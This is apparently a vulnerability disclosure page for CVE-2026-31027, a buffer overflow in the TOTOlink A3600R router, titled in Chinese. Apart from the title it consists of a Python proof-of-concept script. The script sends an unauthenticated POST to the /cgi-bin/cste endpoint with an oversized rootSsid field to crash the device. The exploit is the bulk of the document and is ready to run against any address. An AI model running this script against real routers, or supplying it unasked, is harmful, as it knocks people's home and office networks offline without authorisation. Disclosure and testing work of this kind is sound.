CVE-2026-31027 TOTOlink A3600R缓冲区溢出漏洞

import requests # Target URL (Vulnerable endpoint) target_url = "http://<target_ip>/cgi-bin/cste" # Vulnerable parameter: rootSsid # Sending a large string to trigger the buffer overflow payload = { "action": "setAppEasyWizardConfig", "rootSsid": "A" * 1000 # Buffer size is limited, sending excessive data } try: # Sending the malicious request without authentication response = requests.post(target_url, data=payload, timeout=5) print(f"Request sent. Status Code: {response.status_code}") # If the device crashes or behaves unexpectedly, the exploit was successful if response.status_code == 200 or response.status_code == 500: print("Vulnerability triggered successfully.") else: print("Target may not be vulnerable or patched.") except Exception as e: print(f"An error occurred: {e}")